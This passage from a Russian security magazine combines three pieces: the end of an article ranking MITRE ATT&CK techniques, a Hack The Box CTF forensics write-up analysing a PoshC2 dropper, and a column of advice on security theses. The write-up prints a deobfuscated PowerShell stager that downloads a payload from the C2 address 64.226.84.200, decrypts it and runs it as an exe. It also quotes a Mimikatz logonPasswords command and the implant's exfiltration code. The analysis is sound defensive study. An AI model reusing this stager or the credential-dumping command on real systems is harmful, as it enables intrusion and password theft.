четыре: T1218.005, T1218.007, T1218.010 и T1218.011. Ключевые различия —
в используемых атакующим утилитах:
• T1218.005 — mshta.exe;
• T1218.007 — msiexec.exe;
• T1218.010 — Regsvr32.exe;
• T1218.011 — rundll32.exe.

T1036 Masquerading
В номенклатуре ФСТЭК России эта техника ближе всего к следующей: «Т7.12.
Манипуляции именами и параметрами запуска процессов и приложений
для обеспечения скрытности».
Техника включает семь субтехник, но массовый характер носят сле-
дующие: T1036.003, T1036.004 и T1036.005. Разница заключается в объектах,
с которыми атакующий производит манипуляции, точнее, в их наименованиях:
• T1036.003: законные системные утилиты, в том числе из предыдущей тех-
ники T1218 System Binary Proxy Execution;
• T1036.004: нелегитимные задачи и сервисы, маскирующиеся под легитим-
ные;
• T1036.005: имена вредоносных файлов или путей к ним, совпадающие
с легитимными именами или путями.

ÏÎÄÂÎÄß ÏÐÅÄÂÀÐÈÒÅËÜÍÛÅ ÈÒÎÃÈ

Полученные рейтинги помогут выбрать наиболее эффективные меры защиты


информации. Принимая во внимание, что подобные отчеты публикуются еже-
годно (а некоторые даже чаще), на их основе можно регулярно актуализиро-
вать состав и настройки средств защиты информации.

При выборе мер защиты информации имеет


смысл использовать раздел матрицы Enterprise
Mitigations и MITRE D3FEND, а также параллель-
ный ATT&CK проект DeTT&CT.

ÏÎÏÓËßÐÍÛÅ ÑÕÅÌÛ ÊÈÁÅÐÀÒÀÊ Â ÐÎÑÑÈÉÑÊÎÌ ÑÅÃÌÅÍÒÅ

Теперь, с учетом информации выше, попробуем собрать полную цепочку


кибератаки. Для этого будем использовать примеры популярных в 2022 году
схем кибератак в российском сегменте сети.
Стадию Reconnaissance детализировать не будем, поскольку она сильно
зависит от конкретной атакуемой системы, ее доступности из сети и пуб-
личности.
Стадию Initial Access разведем на две: эксплуатация уязвимостей Microsoft
Exchange ProxyShell и эксплуатация уязвимости Bitrix CVE-2022-27228. Они
и поведут нас по разным веткам кибератак. При этом оба варианта относятся
к № 11 из последнего списка: T1190 Exploit Public-Facing Application.
Проникнув в сеть через непропатченный Microsoft Exchange, атакующий
размещает веб-шелл ( № 20 — T1505.003 Server Software Component: Web
Shell). В части Defense Evasion выполняется остановка, добавление исклю-
чений или очистка журналов аудита событий Microsoft Defender (T1562.001
Impair Defenses: Disable or Modify Tool), а также применяется msiexec (№ 6 —
T1218.007 System Binary Proxy Execution: msiexec). Выход на финишную пря-
мую — Impact: выкачивание данных с скомпрометированного Microsoft
Exchange, но чаще просто шифрование дисков (№ 10 — T1486 Data Encrypted
for Impact).
Путь через непропатченный Bitrix немного короче: размещение готового
веб-шелла ( № 20 — T1505.003 Server Software Component: Web Shell), а в
качестве Impact — редирект или дефейс (T1491 Defacement).
Таким образом, пазл постепенно складывается, и полученная статистика
не полностью, но в значительной степени покрывает рассмотренные нами
примеры.
Безусловно, нельзя считать составление подобных рейтингов «сереб-
ряной пулей», но как доступный широкому кругу специалистов механизм
выбора и приоритизации мер безопасности он имеет полное право
на существование.
ВЗЛОМ

РАЗБИРАЕМ
ПОСЛЕДСТВИЯ
ЗАРАЖЕНИЯ
ДРОППЕРОМ POSHC2

Закрепление, постэксплуатация и эксфиль-


трация — три неотъемлемых этапа каждой
атаки. В этой статье мы проведем рассле-
дование инцидента: поищем артефакты,
сдампим сетевой трафик и деобфусцируем Антон Кузнецов
anton.aleksandrovich65@gmail.com
найденный вредоносный код. Таким обра-
зом мы восстановим действия злоумыш-
ленника и заодно познакомимся с популяр-
ными техниками, которые часто применя-
ются «в дикой среде».

Эта статья — райтап по одному из заданий по цифровой форензике с про-


шедшего в марте 2023 года CTF-соревнования на Hack The Box. Уровень —
сложный.
Наше задание звучит следующим образом:

« «Ìû çàìåòèëè íåîáû÷íûé òðàôèê, èñõîäÿùèé èç îòêðûòîãî êîñìîñà.


Íåèçâåñòíàÿ ãðóïïà èñïîëüçóåò ñåðâåð Command and Control. Â õîäå
âñåñòîðîííåãî ðàññëåäîâàíèÿ ìû óñòàíîâèëè, ÷òî çàðàæåíî íåñêîëüêî
êîìïüþòåðîâ ó÷åíûõ èç ÷àñòíîé ëàáîðàòîðèè Pandora. Ìîæåøü óçíàòü,
êàê ðàáîòàåò ñåðâåð, è âåðíóòü óêðàäåííîå?»

То есть мы знаем, что сервер был скомпрометирован, и у нас есть трафик.


»
Нас просят проанализировать дамп, провести расследование инцидента
и установить, как атакующие загружали утилиты на скомпрометированный
сервер, какими способами закреплялись и как производили эксфильтрацию
данных. В конечном счете нам нужно будет найти флаг.

ÈÙÅÌ ÀÐÒÅÔÀÊÒÛ Â ÑÅÒÅÂÎÌ ÒÐÀÔÈÊÅ

Первым делом загрузим дамп в Wireshark. Несложно установить, что IP ском-


прометированного сервера приватный — 192.168.25.140, в то время
как адрес C2-сервера атакующих публичный — 64.226.84.200. Также видно,
что со скомпрометированного хоста происходит обращение к стороннему
ресурсу (C2-серверу) с GET-запросом по ссылке, которая оканчивается
на vn84.ps1. В ответ сервер отдает сценарий на PowerShell.

GET-запрос со скомпрометированного хоста для загрузки vn84.ps1

Трафик передается по HTTP, то есть без шифрования. Это значит, что мы


можем экспортировать переданные объекты из дампа и подробно их изучить,
чтобы восстановить ход атаки, а также определить, какие методы и утилиты
использовали атакующие. Для этого в меню выбираем «Файл → Экспор-
тировать объекты → HTTP». Жмем «Сохранить все» и задаем конечную
директорию.

Экспортированные из дампа трафика объекты

ÈÇÓ×ÀÅÌ ÀÐÒÅÔÀÊÒÛ

В глаза сразу бросается экспортированный сценарий PowerShell, однако,


чтобы получить полную картину, нужно определить, с артефактами какого
формата нам предстоит работать. Поэтому не будем бросаться изучать най-
денные скрипты, а первым делом посмотрим, что за формат у остальных
экспортированных файлов. Для этого воспользуемся утилитой le и коман-
длетом Get-ChildItem. Обойдем все файлы в цикле:

foreach ($file in (Get-ChildItem $_.Name))

Формат экспортированных файлов

Запишем полученный массив в переменную $fileformat, а в новом цикле


переименуем файлы с расширением PNG, чтобы посмотреть, что внутри.

foreach ($format in $fileformat) }

Интересного в самих картинках мало (это изображения собак в низком раз-


решении), однако внимание привлекает файл %3fdVfhJmc2ciKvPOC(23).png,
поскольку его размер больше других — 827 Кбайт. Похоже, помимо картинки,
в нем есть что-то еще. Возьмем этот факт на заметку и будем двигаться даль-
ше. Поглядим, что в других файлах.

Полученные PNG

Файлы размером около 1 Кбайт — ответы сервера на запросы («200 OK»


и другие коды), и интереса такие данные для нас не представляют. Остальные
файлы имеют малоразличимое содержимое, их пока оставим, а вот экспор-
тированный сценарий PowerShell вполне читабельный, хоть и немного
обфусцирован. Попробуем разобраться, что происходит в коде.
Изучая vn84.ps1, можно увидеть обфусцированные командлеты.

Обфусцированное содержимое vn84.ps1

Здесь атакующие используют обфускацию строк, подробнее об этой и других


техниках можно узнать из доклада на Black Hat 2017 (PDF).
Для деобфускации можно пойти несколькими путями: воспользоваться
инструментом PSDecode, использовать журнал Windows при включенном
аудите сценариев PowerShell, ну или попросить разобраться ChatGPT,
который тоже умеет деобфусцировать, хоть иногда и меняет исходный код
на свое усмотрение.
Я воспользуюсь PSDecode. После деобфускации получаем исходный сце-
нарий (некоторые строки я подправил вручную):

Set-Item 'Variable:QLz0so' ([type]('System.IO.FileMode'))


Set-Variable -Name l60Yu3 -Value ([type]('System.Security.
Cryptography.AesCryptoServiceProvider'))
Set-Variable -Name BI34 -Value ([type]('System.Security.Cryptography.
CryptoStream'))
$Url = 'http://64.226.84.200/94974f08-5853-41ab-938a-ae1bd86d8e51'
$PTF = "$env:temp\94974f08-5853-41ab-938a-ae1bd86d8e51"
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $path
Invoke-WebRequest -Uri $Url -OutFile $PTF
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.
FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::
Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.
CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.
Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Out-File -Path "$env:temp\tmp7102591.exe" -Encoding Byte
& "$env:temp\tmp7102591.exe"

Становится понятнее. Если коротко: PowerShell-скрипт здесь при помощи


системной службы Windows BitsTransfer (T1197 по матрице ATT&CK) передает
данные с C2-сервера. Они загружаются на скомпрометированный хост, пос-
ле чего расшифровываются по алгоритму AES-CBC-128. Для расшифровки
AES c CBC-mode необходимы ключ и вектор инициализации, они как раз
и указаны в сценарии.
Расшифрованные байты записываются в исполняемый файл $env:temp\
tmp7102591.exe, а затем этот файл запускается. Наша первоочередная
цель — расшифровать данные и записать их в исполняемый файл для даль-
нейшего изучения. Это поможет узнать, что происходило на этапе закрепле-
ния.
Для дешифровки можем воспользоваться тем же сценарием или инстру-
ментом CyberChef (но это более трудоемкий способ).
Из значения переменной $Url в сценарии следует, что расшифровывать
нужно поток байтов в дампе трафика с именем 94974f08-5853-41ab-938a-
ae1bd86d8e51.

Чтобы убедиться, что работа ведется с верным


пакетом, номер пакета можно сопоставить
с номером экспортируемого объекта Wireshark.

Итак, все переданные файлы уже экспортированы, алгоритм, ключ и вектор


у нас на руках. Получается, дело за малым: нужно лишь расшифровать данные
и записать их в файл. Расшифровывать мы будем тем же сценарием vn84.
ps1, только перед запуском немного его перепишем:
1. Удалим строки, в которых используется BitsTransfer.
2. Исправим путь, по которому будет считываться загружаемый файл
(переменная $PTF), на путь, куда мы экспортировали объекты из дампа
трафика. То есть укажем полный путь до экспортированного файла
94974f08-5853-41ab-938a-ae1bd86d8e51.
3. Удалим последнюю строку, в которой исполняется файл (нам это сейчас
ни к чему).
4. Также для удобства поиска расшифрованного файла в системе сменим
Out-File на Set-Content, а путь $env:temp\tmp7102591.exe
на необходимый нам и зададим кодировку -Encoding Byte.

Итоговый сценарий будет выглядеть так:

$PTF = "C:\Users\Antony\Desktop\C2Interstellar_HTB\C
2_Interstellar_CTF_Task\WShark 2\9
4974f08-5853-41ab-938a-ae1bd86d8e51"
$Fs = New-Object -TypeName 'System.IO.FileStream'($PTF, ([System.IO.
FileMode]::Open))
$MS = New-Object -TypeName 'System.IO.MemoryStream'
$aes = [System.Security.Cryptography.AesCryptoServiceProvider]::
Create()
$aes.KeySize = 128
$KEY = [byte[]] (0,1,1,0,0,1,1,0,0,1,1,0,1,1,0,0)
$iv = [byte[]] (0,1,1,0,0,0,0,1,0,1,1,0,0,1,1,1)
$aes.Key = $KEY
$aes.IV = $iv
$cs = New-Object -TypeName 'System.Security.Cryptography.
CryptoStream'($MS, $aes.CreateDecryptor(), ([System.Security.
Cryptography.CryptoStreamMode]::Write))
$fs.CopyTo($cs)
$decD = $MS.ToArray()
$CS.Write($decD, 0, $decD.Length)
$decD | Set-Content -Path "C:\Users\Antony\Desktop\C2Interstellar_HTB
\C2_Interstellar_CTF_Task\tmp7102591.exe" -Encoding Byte

Теперь выполним наш скрипт и получим исполняемый файл tmp7102591.exe.


С помощью утилиты Detect It Easy мы можем убедиться, что файл не был
запакован. Следом откроем его в dnSpy, чтобы подробнее изучить код.

Исследование исполняемого файла на наличие пакера

Исходный код tmp7102591.exe

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

РАЗБИРАЕМ ПОСЛЕДСТВИЯ ЗАРАЖЕНИЯ


ДРОППЕРОМ POSHC2

ÎÁÂÅØÈÂÀÅÌÑß ÁÐßÊÀÌÈ

Исходное название файла — dropper_cs.exe. Настало время навешать


брейк-пойнты и подать на вход экспортированные файлы, которые не уда-
лось изучить раньше. Это позволит нам узнать, как работает дроппер.
Для взаимодействия с сервером используется функция GetWebRequest(),
с ее помощью атакующие как скачивают данные с сервера, так и отправляют
туда пользовательскую информацию с хоста жертвы, предварительно обра-
ботав ее (как именно — разберемся дальше). Во время скачивания на ском-
прометированный хост доставляются дополнительные инструменты, которые
будут использованы для развития атаки. Давай подробнее посмотрим,
как происходит доставка информации на машину жертвы.
После запуска файла dropper_cs.exe выполняется первый GET-запрос
на С2-сервер атакующих (http://64.226.84.200:8080) с роутом /Kettie/
Emmie/Anni?Theda=Merrilee?c. Этот файл мы уже экспортировали, поэтому
считаем данные из него методом ReadAllText() класса File, а строку зап-
роса к серверу закомментируем. Вообще, можно закомментировать всю
функцию GetWebRequest(), так как необходимости в ней больше нет. И уста-
новим точку останова на строке 310, чтобы посмотреть, как выглядит рас-
шифрованная информация.

Расшифрованные данные пакета Anni?Theda=Merrilee?c

После успешной дешифровки текст выше чистится регулярками, и мы в итоге


получаем:
• список роутов (по ним в дальнейшем будет запрашиваться вся необ-
ходимая информация с сервера, дополнительный инструментарий и про-
чее);
• дату (если она меньше текущей, имплант запущен не будет);
• время сна;
• джиттер задержки для последующих запросов GET и POST;
• íîâûé êëþ÷ øèôðîâàíèÿ;
• implant — набор картинок в PNG, которые мы уже видели, в формате
Base64.

Полученные данные видно на рисунке ниже.

Расшифрованные и деобфусцированные данные

Вся полученная информация передается через аргументы функции


ImplantCore(), которая отвечает за внедрение кода.
В этой функции атакующие GET-запросами получают дополнительный
исполняемый код, расшифровывают его при помощи нового ключа
и исполняют на скомпрометированном хосте с определенными параметрами
без записи в файл (то есть это бесфайловая атака).
Давай расшифруем файлы, чтобы определить, какие инструменты заг-
рузили злоумышленники. Для этого вместо загрузки с сервера считаем дан-
ные из экспортированного файла %3fdVfhJmc2ciKvPOC и расшифруем его,
а потом запишем байт-код в новый файл First_Decr.exe.
Посчитаем хеш получившегося файла и отправим на VirusTotal.

Проверка расшифрованного файла на VirusTotal

Файл — не что иное, как PoshC2, фреймворк для закрепления и постэксплу-


атации. Отлично!
Аналогичным образом попробуем расшифровать следующий экспор-
тированный файл — %3fdVfhJmc2ciKvPOC(14). После дешифровки получаем
SharpSploit.dll — библиотеку для постэксплуатации, которая позволяет
дампить креды из lsass.exe. Она запускается со следующими аргументами:

run-dll SharpSploit.Credentials.Mimikatz SharpSploit Command


"privilege::debug sekurlsa::logonPasswords"

Запуск происходит в командной строке cmd в функции stringBuilder.


AppendLine(Program.rAsm(cmd)).

SharpSploit.dll

После выполнения кода SharpSploit.dll со скомпрометированного сер-


вера результат направлялся на сервер C2, но прежде закодированные
в Base64 данные обрабатываются. Они конвертируются в массив байтов,
затем сжимаются при помощи Gzip и шифруются следующей функцией:

private static string Encryption(string key, string un, bool comp =


false, byte[] unByte = null)
{
byte[] array = null;
if (unByte != null)
{
array = unByte;
}
else
{
array = Encoding.UTF8.GetBytes(un);
}
if (comp)
{
array = Program.Compress(array);
}
string text;
try
{
SymmetricAlgorithm symmetricAlgorithm = Program.CreateCam(key,
null, true);
byte[] array2 = symmetricAlgorithm.CreateEncryptor().
TransformFinalBlock(array, 0, array.Length);
text = Convert.ToBase64String(Program.Combine(
symmetricAlgorithm.IV, array2));
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = Program.CreateCam(key,
null, false);
byte[] array3 = symmetricAlgorithm2.CreateEncryptor().
TransformFinalBlock(array, 0, array.Length);
text = Convert.ToBase64String(Program.Combine(
symmetricAlgorithm2.IV, array3));
}
return text;
}

После этого к данным добавляются случайные 1500 байт и полученная


на первом этапе картинка.

internal static byte[] GetImgData(byte[] cmdoutput)


{
int num = 1500;
int num2 = cmdoutput.Length + num;
string text = Program.ImgGen._newImgs[new Random().Next(0, Program.
ImgGen._newImgs.Count)];
byte[] array = Convert.FromBase64String(text);
byte[] bytes = Encoding.UTF8.GetBytes(Program.ImgGen.RandomString(
num - array.Length));
byte[] array2 = new byte[num2];
Array.Copy(array, 0, array2, 0, array.Length);
Array.Copy(bytes, 0, array2, array.Length, bytes.Length);
Array.Copy(cmdoutput, 0, array2, array.Length + bytes.Length,
cmdoutput.Length);
return array2;
}

Это как раз та картинка, необычный размер которой мы уже подметили


в начале расследования.
Настало время изучить подробнее файл %3fdVfhJmc2ciKvPOC(23).png.
Посмотрим на его содержимое в Hex-редакторе HxD.

Шестнадцатеричное представление файла


%3fdVfhJmc2ciKvPOC(23).png

В заголовке видим PNG, а также что после окончания PNG идут другие дан-
ные.

Чтобы узнать, что скрыто в данных, напишем свой декриптор.

ÏÈØÅÌ ÄÅÊÐÈÏÒÎÐ

Зная алгоритм преобразования данных, попробуем декодировать информа-


цию. Для этого возьмем имеющиеся в коде функции:
• Decrypt() — дешифрует данные AES-CBC-128, немного изменив фун-
кцию, добавив в нее декомпрессию методом Gzip и убрав лишнее пре-
образование из массива байтов в текст;
• CreateCam() — служит для создания алгоритма с ключом и вектором;
• Decompress() — для разархивирования данных методом Gzip.

В конце декодируем массив байтов в строку методом Encoding.ASCII.


GetString().
В конечном счете преобразуем из Base64 и запишем получившийся
байт-код в файл decrypted_image.png.
Ниже приведена получившаяся программа. Для исполнения рекомендую
использовать .NET 8.0 и выше.

using System;
using System.IO.Compression;
using System.Security.Cryptography;
using System.Text;

namespace Decryptor
{
public class Program
{
static void Main(string[] args)
{
var cmd = File.ReadAllBytes("C:\\Users\\Antony\\Desktop\\
C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\
%3fdVfhJmc2ciKvPOC(23).png");
string key = "nUbFDDJadpsuGML4Jxsq58nILvjoNu76u4FIHVGIKSQ=";
var text = Program.Decryption(key, cmd).Replace("\0", string
.Empty);
}

static byte[] Decompress(byte[] data)


{
using (var compressedStream = new MemoryStream(data))
using (var zipStream = new GZipStream(compressedStream,
CompressionMode.Decompress))
using (var resultStream = new MemoryStream())
{
zipStream.CopyTo(resultStream);
return resultStream.ToArray();
}
}

private static string Decryption(string key, byte[] arr)


{
byte[] tmp_arr = arr[1500..arr.Length];

byte[] array2 = new byte[16];

Array.Copy(tmp_arr, array2, 16);


string text = "";
try
{
SymmetricAlgorithm symmetricAlgorithm = Program.
CreateCam(key, Convert.ToBase64String(array2), true);
byte[] array3 = symmetricAlgorithm.CreateDecryptor().
TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);
byte[] arr4 = Decompress(array3);
byte[] tet = Convert.FromBase64String(Encoding.ASCII.
GetString(arr4));
File.WriteAllBytes("C:\\Users\\Antony\\Desktop\\
C2Interstellar_HTB\\C2_Interstellar_CTF_Task\\WShark 2\\DecodedInfo\\
decrypted_image4.png", tet);
}
catch
{
SymmetricAlgorithm symmetricAlgorithm2 = Program.
CreateCam(key, Convert.ToBase64String(array2), false);
byte[] array4 = symmetricAlgorithm2.CreateDecryptor().
TransformFinalBlock(tmp_arr, 16, tmp_arr.Length - 16);
text = Encoding.UTF8.GetString(Convert.FromBase64String(
Encoding.UTF8.GetString(array4).Trim(new char[1])));
}
finally
{
Array.Clear(tmp_arr, 0, tmp_arr.Length);
Array.Clear(array2, 0, 16);
}
return text;
}

private static SymmetricAlgorithm CreateCam(string key, string


IV, bool rij = true)
{
SymmetricAlgorithm symmetricAlgorithm;
if (rij)
{
symmetricAlgorithm = new RijndaelManaged();
}
else
{
symmetricAlgorithm = new AesCryptoServiceProvider();
}
symmetricAlgorithm.Mode = CipherMode.CBC;
symmetricAlgorithm.Padding = PaddingMode.Zeros;
symmetricAlgorithm.BlockSize = 128;
symmetricAlgorithm.KeySize = 256;
if (IV != null)
{
symmetricAlgorithm.IV = Convert.FromBase64String(IV);
}
else
{
symmetricAlgorithm.GenerateIV();
}
if (key != null)
{
symmetricAlgorithm.Key = Convert.FromBase64String(key);
}
return symmetricAlgorithm;
}
}

За кропотливую работу нас ждет награда в виде флага, который был ответом
на это интересное задание.

Флаг

ÂÛÂÎÄÛ

Итак, мы провели небольшое расследование и выяснили, как злоумышленник


доставил на скомпрометированный хост дополнительные утилиты, выполнил
вредоносный код и эксфильтровал данные со скомпрометированного узла.
ВЗЛОМ

КОЛОНКА ДЕНИСА МАКРУШИНА

Начало учебного года — это еще и начало


сезона подготовки дипломных работ. А это
значит, что у меня наступает сезон фор-
мулирования тем для студентов факуль- Денис Макрушин
Специализируется
тетов и кафедр информационной безопас- на исследовании угроз
и разработке технологий
ности в ведущих вузах. Я собрал свои защиты от целевых атак.
@makrushin
рекомендации и лайфхаки для подготовки
твоего первого ИБ-исследования.

Денис Макрушин — выпускник факультета информационной безопасности


НИЯУ МИФИ и там же продолжает делиться опытом со студентами своей аль-
ма-матер. Также Денис выступает научным руководителем для студентов раз-
ных ведущих кафедр и факультетов страны в области информационной
безопасности и защиты информации.

Я сформулировал рекомендации по принципу «один абзац — один инсайт»


и распределил их по разделам. Какие-то инсайты могут пригодиться
для учебно-исследовательской работы, какие-то — для подготовки первого
доклада на конференцию.

ÑÒÀÂÈÌ ÖÅËÈ

Начнем с основного: хардскиллы в индустрии необходимы, но софтскиллы —


это основа практически любой профессии, которая подразумевает общение
с людьми. Поэтому относись к диплому не как к формальности, а как к средс-
тву, которое прокачивает и хардскиллы (результаты исследования — утилиты,
метрики, код), и софтскиллы (представление этих результатов — отчеты, пре-
зентации).
Эксперты не появляются на пустом месте и растут не в результате бес-
сонных ночей, проведенных за техническими исследованиями, а в результате
признания сообществом этих бессонных ночей. Вот почему коммуникация
и отчетность — это необходимые этапы любого исследования. И любого про-
екта. Да, и твоего дипломного проекта тоже.
Есть возможность получить быстрый отклик на свое исследование: пост
в блоге и презентация на конференции. Сначала пост. Его текст позволит
подготовить сценарий для выступления. Если смущает выступление
перед большой аудиторией, создай вебинар для своих друзей. Пусть
это будет репетицией твоего доклада перед большим мероприятием. Нап-
ример, перед защитой диплома.

Напомним, что ты всегда можешь прислать свою статью в «Хакер». Авторам


опубликованных материалов выплачивается гонорар, к тому же мы помогаем
с редактурой и оформлением статьи. По вопросам сотрудничества пиши
главному редактору, адрес — на странице контактов.

Выступление на любом релевантном мероприятии — это хороший способ


получить обратную связь, завести новых знакомых и, возможно, найти пар-
тнеров по исследовательской работе. В роли обычного участника ты рис-
куешь потратить драгоценное время в углу комнаты с чашкой кофе и ноут-
буком, а статус спикера обязывает выйти под свет софитов.
Пример из моего опыта: поездка на региональный BSides в Каире. Итоги
доклада:
1. Èìïàêò: знакомство с экспертами EG-CERT и передача отчетов с уяз-
вимостями и ландшафтом угроз для региона.
2. Íåòâîðêèíã: зарядил энергией студентов местных факультетов Computer
Science, теперь они хотят продолжить обучение в направлении ИБ.
3. Íåòâîðêèíã: поступил запрос о менторстве от талантливого студента
из Mansoura University для его подготовки к докладу на конференции в сле-
дующем году (позже расскажу, что из этого получилось).
4. Èíòåãðàöèÿ â ñîîáùåñòâî: поступило приглашение в состав Review
Board мероприятия.

Если ты посещаешь конференции в онлайне ради контента, рекомендую


пересмотреть отношение к мероприятиям. Личное присутствие всегда при-
дает им дополнительную ценность.

ÂÛÁÈÐÀÅÌ ÒÅÌÓ

С причинами и мотивами разобрались. Теперь нужно определиться с темой


будущей работы. Давай для примера возьмем статистику распространения
троянов-шифровальщиков. Вот что нам известно об этом:
1. Хронология развития этого типа малвари демонстрирует взрывной рост:
от пары семейств в 2010-м до 20+ семейств ежемесячно к 2017-му.
2. Число атак шифровальщиков удвоилось в 2021 году в сравнении
с 2020 годом.
3. Скорость разворачивания шифровальщика в скомпрометированной
инфраструктуре увеличивается, что значительно снижает время, нужное
для реагирования на инцидент (в 2021 году у жертвы было 92 часа, чтобы
спасти свои данные).
4. Среднее время простоя инфраструктуры и бизнес-процессов в результате
атак выросло с 15 часов в 2020 году до 22 часов в 2021-м (время — день-
ги!).
5. Ущерб от атак шифровальщиков в 2021 году оценивался в 20 миллиардов
долларов, а к 2031 году ожидается ущерб в 265 миллиардов.

На основе этих данных получаем рецепт хорошей темы для курсовой:


1. Находим злодея: берем наиболее острую проблему, которая мешает жить
всем индустриям, пользователям.
2. Препарируем злодея: изучаем технические особенности, выделяем клю-
чевые характеристики, ищем слабое место.
3. Создаем антидот и не забываем рассказать об этом в тексте работы.

Вкратце: определи проблему, изучи существующие решения, выяви их общий


недостаток и предложи свой вариант его исправления.
Плохая идея: попросить ChatGPT придумать для тебя тему. Хорошая идея:
попросить его же собрать материалы для уже выбранной темы. В чем раз-
ница? В первом случае ты позволяешь алгоритму определить судьбу твоей
работы. Во втором случае ты экономишь свое время на сбор и анализ акту-
альных знаний по направлению, которое задал сам.

Ответ ChatGPT на предложение придумать тему перспективного иссле-


дования в направлении кибербезопасности

Если все равно придется тратить время на подготовку дипломной работы, то


почему бы не инвестировать это время в интересный тебе проект? Даже если
ты учишься по нелюбимому направлению и готовишься стать специалистом
в неинтересной тебе области (ну или за дипломом тебя просто отправили
родители), то даже в этом случае можешь синтезировать дипломную тему
на основе требований факультета (или кафедры) и области твоих интересов.
Например, ты учишься на специалиста по информационной безопасности,
но чувствуешь, что мог бы стать композитором. Набросай облако тегов:
«защита», «музыка», «интеллектуальная собственность», «утечки ком-
позиций», «пиратство», «кибербезопасность в музыкальной индустрии»
и тому подобное.
Вот тут за идеями бывает полезно обратиться к генеративным алгорит-
мам.

Пример того, как алгоритмы могут быть источником идей для объеди-
нения нескольких областей в одно исследовательское направление

ÔÎÐÌÓËÈÐÓÅÌ ÒÅÌÓ

Область исследований определена. Теперь приступаем к формулировке


темы.
Есть минимум два способа сформулировать тему перспективного иссле-
дования. Можно провести так называемый анализ state of the art — изучить
все доступные опубликованные работы в нужном направлении. Основные
требования для этих работ: они должны быть актуальными (период актуаль-
ности определяешь сам) и релевантными твоему направлению. В процессе
анализа выписывай источники, даты публикации и авторов — все это при-
годится.
Когда будешь изучать источники, возьми на вооружение сайты
ResearchGate и Google Scholar.
Там ты можешь найти работы, которые еще не опубликованы в цитируемых
научных изданиях, но которые могут содержать какие-то полезные для тебя
артефакты: черновики, аннотации к докладам, посты в блогах и тому подоб-
ное.
Несмотря на то что все исследовательское сообщество говорит
на английском языке, проанализируй российские и китайские базы знаний.
С этой задачей тоже неплохо помогает ChatGPT.

ChatGPT подсказывает дополнительные источники исследовательских


работ в России и Китае

При чтении статей обращай внимание на раздел «Заключение», в котором


содержатся выводы и предложены варианты продолжения работы. В этом
разделе могут быть описаны ограничения предложенных автором методов,
алгоритмов и систем. А для тебя эти ограничения могут стать отправной точ-
кой в формулировании темы твоего проекта.
Самый интересный подход к задаче — это спросить эксперта, который
погружен в эту область и который публиковал результаты своих проектов.
Помнишь, что, помимо списка источников, я рекомендовал делать список
авторов? Вот теперь пройдись по нему и определи наиболее активного
или интересного тебе. Затем выходи с ним на связь любым удобным обра-
зом, чтобы обсудить тему своей работы.
Превратить автора интересного тебе проекта в своего научного руково-
дителя или ментора — это та самая задача, которая может значительно улуч-
шить твою работу.
Да и вообще выбор научного руководителя — это минимум треть успеха
будущей работы. Поэтому если по каким-то причинам ты не можешь его най-
ти на своем факультете или в университете, то ищи в индустрии.

ÏÐÎÂÎÄÈÌ ÈÑÑËÅÄÎÂÀÍÈß

Определил тему, сформулировал цель работы. Теперь надо делать.


Раздели подготовку работы на этапы:
1. Содержание (ключевые разделы работы).
2. Презентация (каждый заголовок слайда — раздел работы).
3. К каждому слайду сделай комментарий, в котором будут основные тезисы.
4. Абстракт работы.
5. Аннотация или автореферат.
6. Отчет.

Именно в этой последовательности ты начинаешь движение от общего к час-


тному.
Независимо от типа исследования его результатом должно стать íîâîå
çíàíèå. Если итогом работы не будет что-то новое, то автор просто попол-
няет свалку известных мыслей. Оставь это алгоритмам.
Даже если задача твоего проекта не заключается в разработке нового
метода или системы, а представляет собой обзор существующих работ, то
даже в этом случае можно синтезировать новое знание. Для этого можно
использовать следующие методы анализа и синтеза новых знаний.

Методы анализа и синтеза новых знаний

State of the art (SOTA) — метод обзора больших объемов литературы, который
позволяет изучить, почему и как развивались наши текущие знания, и пред-
ложить новые направления исследований. Метод хорошо описан в статье
«State-of-the-art literature review methodology: A six-step approach for knowledge
synthesis».
Обзор, проведенный методом SOTA, дает ответы на три вопроса:
1. Где мы находимся сейчас?
2. Как мы сюда попали?
3. Куда можно двигаться дальше?

Review/Survey — метод обзора литературы, который, в отличие от SOTA,


охватывает более широкий хронологический срез и включает в себя
как результаты анализа SOTA, так и историческое развитие объекта иссле-
дования. Другими словами, SOTA — это часть Review.
Приступай к содержанию. Набросок оглавления — это уже значительная
часть работы. Вероятно, у тебя получится что-то вроде этого:
1. Введение
2. Описание проблемы
3. Обзор существующих подходов к ее решению
• 3.1. Критерии сравнения подходов
• 3.2. Сравнение существующих подходов по выбранным критериям
• 3.3. Определение наиболее удачного подхода на основе сравнения.
Описание его ключевых ограничений
4. Твои варианты улучшения выбранного подхода
5. Заключение

Если у тебя уже есть идеи, то приступай к разделу 4. Чем быстрее ты поймешь
состоятельность своего подхода, метода и системы исследования, тем быс-
трее сформулируешь ценность работы. Затем сможешь оценить уникаль-
ность предложенной тобой идеи при подготовке раздела 3. И не начинай
писать текст работы с введения. Лирику оставишь на заключительный этап.
Как только в работе появились результаты, доказывающие состоятель-
ность твоей идеи, уже можно готовить аннотацию (abstract). Это короткое (от
одного до трех абзацев текста) описание работы, дающее полное представ-
ление о цели и результатах твоего проекта.
Результаты исследования получены. Абстракт подготовлен. Теперь тебе
нужно выбрать конференцию или митап и адаптировать аннотацию иссле-
дования в соответствии с требованиями выбранного мероприятия. Изучи
информацию о требованиях организаторов к подаче заявок, обычно они пуб-
ликуются на отдельной странице.
Как выбрать конференцию, чтобы и тема твоей работы подходила, и бюд-
жет на путешествие был доступен? Можно начать с изучения ресурса
cfptime.org.
В первую очередь поддержи свое локальное сообщество. Иногда мес-
тные мероприятия могут быть интереснее и теплее, чем международные
